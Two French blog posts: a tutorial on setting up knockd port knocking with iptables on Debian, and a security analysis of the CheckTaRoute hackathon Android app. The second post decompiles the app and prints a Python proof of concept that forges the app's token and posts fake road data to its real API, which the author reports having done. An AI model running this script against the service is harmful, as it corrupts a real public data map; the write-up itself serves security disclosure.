Port Knocking et installation de Knockd sous debian

Le port no quoi ?

Le port knocking est un système permettant de débloquer les port d’une machine en fonction d’une suite de «knock» reçu sur certains ports. De ce fait, il est possible d’ouvrir un port ssh qu’après avoir reçu un knock sur le port 3000 et 8000, voir même de demander un knock de type TCP et l’autre de type UDP. Un knock est représenter par une trame TCP ou UDP visant un port particulier du système

Installation de port knocking sous debian

Présentation

knockd est un daemon permettant de faire du port knocking sous Linux. Le service surveille toutes les connexions entrantes sur les interfaces de la machine, si les connexions consécutives correspondent à une séquence de «knocks» qu’il a dans sa configuration, alors il execute une commande permettant d’ouvrir un port.

Installation

Pour installer knockd sous debian c’est très simple. Celui-ci est disponible dans les paquets de Debian Wheezy et peut donc être installé avec la commande suivante:

apt-get install knockd

Après avoir installer knockd, il est neccessaire de modifier le fichier de configuration /etc/default/knockd pour lui donner l’autorisation de démarrer. Pour celà, il suffit de modifier la ligne suivante:

# Avant
START_KNOCKD=0
# Après
START_KNOCKD=1

Configuration de knockd

Nous allons maintenant configuer knockd pour ouvrir le port 22 (ssh) lorsque des knocks sont détectés sur les ports 7000, 8000 et 9000 en TCP. Nous allons donc modifier le fichier /etc/knockd.conf et lui appliquer la configuration suivante.

[opencloseSSH]
        sequence    = 7000,8000,9000
        seq_timeout = 5
        start_command     = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags    = syn
        cmd_timeout   = 10
        stop_command  = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

Nous demandons donc à knockd d’ouvrir le port en rajoutant une règles iptables quand les knocks correspondent. Nous lui demandons aussi de refermer ce port au bout de 10 secondes. Par défaut les ports indiqué doivent être «knocké» en TCP, mais il est aussi possible de demander de l’UDP. Pour ça il suffit d’indiquer le port suivant de son protocôle de la manière suivante: num_port:protcole.

Nous pouvons maintenant démarrer knockd:

service knockd start

Configuration iptables

Nous allons maintenant définir quelques règles iptables pour profiter de knockd. En effet, de base, debian ne définis aucune règle de filtrage. Tout les ports sont donc ouvert par défaut. Nous allons donc définir des règles permettant de laisser passer certaines trames comme celle transitant sur notre boucle locale. Puis nous demanderons à iptables de droper tout les paquets en dernier recours:

iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -j DROP

Ouvrir le port à distance

Pour éxecuter une suite de knock rien de plus simple. Il y a même plusieurs solutions pour le faire.

Le client knock

Lorsque l’on installe le serveur de port knocking «knockd», un client est automatiquement installé avec. Il se nomme subtilement knock. Pour l’utiliser rien de plus simple:

knock ip_server 7000 8000 9000

Et par exemple si le port 8000 doit être «knocké» en UDP:

knock ip_server 7000 8000:udp 9000

NMAP

Il est aussi d’utiliser le scanner de port NMAP pour effectuer des knocks:

nmap -Pn --host_timeout 201 --max-retries 0  -p 7000 ip_server
nmap -Pn --host_timeout 201 --max-retries 0  -p 8000 ip_server
nmap -Pn --host_timeout 201 --max-retries 0  -p 9000 ip_server

Conclusion

Comme vous pouvez le voir knockd est très simple à mettre en place. Pensez tout de même à prendre votre temps sur la rédaction de vos règles iptables, ça serait balot de perdre la main sur votre machine distante pendant la configuration ;)

OpenData76: Sécurité de l’application CheckTaRoute

CheckTaRoute

Grand vainqueur du Hackathon organisé par la région et par l’équipe d’Hackhours, l’équipe de Check Ta Route a proposé un système permettant d’évaluer l’état du revêtement d’une route au travers d’une application mobile pour Android. Pour ce faire, ils utilisent l’accéléromètre présent dans les téléphones pour mesurer les vibrations émises durant un trajet et les couplent avec les coordonnées GPS. Ainsi ils peuvent connaitre l’état d’une route à un instant t et une position X,Y.

Après avoir entendu dire qu’ils avaient eu quelques soucis de sécurité mais que c’était corrigé, ma curiosité m’a poussé à aller voir de plus près le fonctionnement de l’application pour voir si elle était sécurisée.

Capture du trafic réseau

La première chose qui m’est venue en tête a été d’analyser le trafic réseau pour voir comment le téléphone envoyait les informations au serveur de CheckTaRoute. J’ai donc mis en place un point d’accès Wi-Fi sur mon ordinateur auquel j’ai connecté mon téléphone portable. J’ai ensuite coupé la connexion réseau mobile de mon téléphone pour être sûr que mes données soient envoyées qu’au travers du point d’accès. Enfin j’ai lancé WireShark pour voir ce qui se tramait là-dessous (oui je suis fier du jeu de mot…).

Malheureusement, pas grand chose de magique, les données ne semble être envoyées qu’au travers du réseau mobile et les quelques autres données qui sont autorisées à passer par le Wi-Fi passent en HTTPS. Vu que j’ai pas voulu me prendre la tête en vérifiant si les certificats auto-signés passaient, je suis directement passé à une analyse de code.

Analyse du client mobile

Récupération et décompilation du code

Vu que l’analyse réseau n’avait pas été fructueuse, j’ai préféré regarder directement dans le code du client mobile.

Pour les personnes qui ne le savent pas, il est facilement possible de décompiler une application Android pour retrouver le code java utilisé avant la compilation en APK.

Pour commencer, il faut récupérer l’APK sur le playstore. Il existe aujourd’hui des sites web ou des extensions navigateurs pour le faire facilement. Dans mon cas mon choix s’est porté sur Evozi.

Pour la décompilation, c’est pareil. Il existe pas mal de services sur le net permettant de le faire sans avoir à installer APKtool, jade, dex2jar, etc… Pour décompiler j’utilise Android APK decompiler qui permet de le faire simplement et rapidement.

Analyse du code JAVA

Le code s’articule autour de quatre classes permettant de:

  • Récupérer les coordonnées GPS
  • Enregistrer les vibrations
  • Traiter les vibrations
  • Envoyer les données traités

Vous l’aurez compris, ce qui nous interesse ici c’est l’envoi de données. Voici le code:

String s = as[0];
String s1 = as[1];
int i = (int)((2.32F * (float)(System.currentTimeMillis() / 1000L)) / 10000F);
String s2 = (new StringBuilder("HackathonOpenData766e54")).append(Integer.toHexString(i)).append(5).append("a").append(0).append(1).append("CheckTaRouteEtPasMonCode").toString();
try
{
    String s3 = (new StringBuilder("Data=")).append(URLEncoder.encode(s1, "UTF-8")).toString();
    HttpsURLConnection httpsurlconnection = (HttpsURLConnection)(new URL(s)).openConnection();
    httpsurlconnection.setRequestMethod("POST");
    httpsurlconnection.setRequestProperty("Content-length", String.valueOf(s3.length()));
    httpsurlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    httpsurlconnection.setRequestProperty("User-Agent", s2);
    httpsurlconnection.setDoOutput(true);
    httpsurlconnection.setDoInput(true);
    DataOutputStream dataoutputstream = new DataOutputStream(httpsurlconnection.getOutputStream());
    dataoutputstream.writeBytes(s3);
    dataoutputstream.close();
}

...

serveur_communication serveur_communication1 = new serveur_communication(null);
String as[] = new String[2];
as[0] = "https://www.checktaroute.fr/API.php";
as[1] = stringbuilder.toString();
serveur_communication1.execute(as);

...

stringbuilder.append((new StringBuilder()).append(af[0]).append(",").append(af[1]).append("|").append(af[2]).append(",").append(af[3]).append("|").append(af[4]).append("|").append(af[5]).append("&").toString());

Décortiquons ensemble ce que fait le code:

  1. Il crée une requête avec un User-Agent custom et un Content-Type défini à ’application/x-www-form-urlencoded’.
  2. Il fait une requête à l’adresse: ‘https://www.checktaroute.fr/API.php'.
  3. Il ajoute en arguments les données traitées sous la forme: y1,x1|y2,x2|Q|P.

Dans notre cas x1 et y1 représentent les coordonnées GPS de notre point de départ, x2 et y2 nos coordonnées actuelles. Nous avons Q qui represente la qualité de la route et P la précision (si j’ai bien compris). Toutes les variables sont des nombres flottants.

Pour vérifier notre hypothèse les auteurs de l’application ont laissé une fonction permettant de tester l’envoi de données:

public void test_envoi_fichier(View view)
{
    ArrayList arraylist = new ArrayList();
    arraylist.add(new float[] {
        49.43052F, 1.090565F, 49.43403F, 1.107988F, 9F, 8F
    });
    (new envoiDonneesSecurise()).envoyerDonnees(arraylist);
}

Maintenant que l’on sait comment fonctionne l’application, il est temps de faire un script permettant d’émuler le fonctionnement de l’application mobile.

Rédaction d’un Proof Of Concept (PoC)

Dans un premier temps, nous voulons réussir à écrire des informations sur la carte. Comme je ne voulais pas pourrir les informations utiles sur Rouen, j’ai décider de prendre les coordonnées d’un beau p’tit village nommé Montmain à l’est de Rouen.

Voici donc à quoi ressemble le PoC permettant d’écrire à Montmain:

from time import time
import requests

x1 = 1.242533
y1 = 49.407219
x2 = 1.244099
y2 = 49.406870

token = '%x' % (2.32 * time() // 10000)
payload = 'Data={0},{1}|{2},{3}|9.0|8.0'.format(y1,x1, y2, x2)

headers = {
    'User-Agent': 'HackathonOpenData766e54%s5a01CheckTaRouteEtPasMonCode' % token,
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': len(payload)
}

r = requests.post('https://www.checktaroute.fr/API.php', headers=headers, data=payload)

Le résultat:

montmain

Utilisation d’OpenData76

Le but du Hackathon du weekend dernier était d’utiliser les données d’OpenData76 dans un projet. J’ai donc cherché dans le client l’utilisation qui en été faite, mais malheureusement je n’ai rien trouvé. On pourrait penser qu’elles sont utilisées côté serveur, mais rien de ce qui pourrait être utilisé n’apparait pour l’utilisateur.

Librairie MySQL

Durant l’étude du code de l’application mobile, j’ai remarqué que celle-ci intégrait des librairies permettant d’utiliser MySQL alors qu’aucune connexion n’est effectuée vers une base de données à partir du client mobile. Donc à part alourdir l’application je ne comprends pas son utilisation…

Conclusion

L’application semble avoir conquis le jury ce weekend mais je doute de pas mal de point sur la faisabilité technique d’un tel projet. Je n’ai pas vu de calibrage de la voiture dans l’application, il est donc très relatif de pouvoir juger de l’état de la route sans prendre en compte les amortisseurs, et les pneus de la voiture. Il existe beaucoup de facteurs d’absorption que l’application ne gère pas. Un autre exemple est dans les données de l’accéléromètre. Les seules coordonnées qui sont traité concerne l’axe Z, c’est à dire que si le téléphone n’est pas parfaitement droit, les valeurs enregistrées sont tronquées.

En bref, une très bonne idée, mais une réalisation technique à revoir complêtement, je pense que l’équipe de CheckTaRoute va devoir revoir la conception de son projet si elle ne veut pas que n’importe qui puisse écrire sur sa carte.

Aller, sur ce, bonne journée o/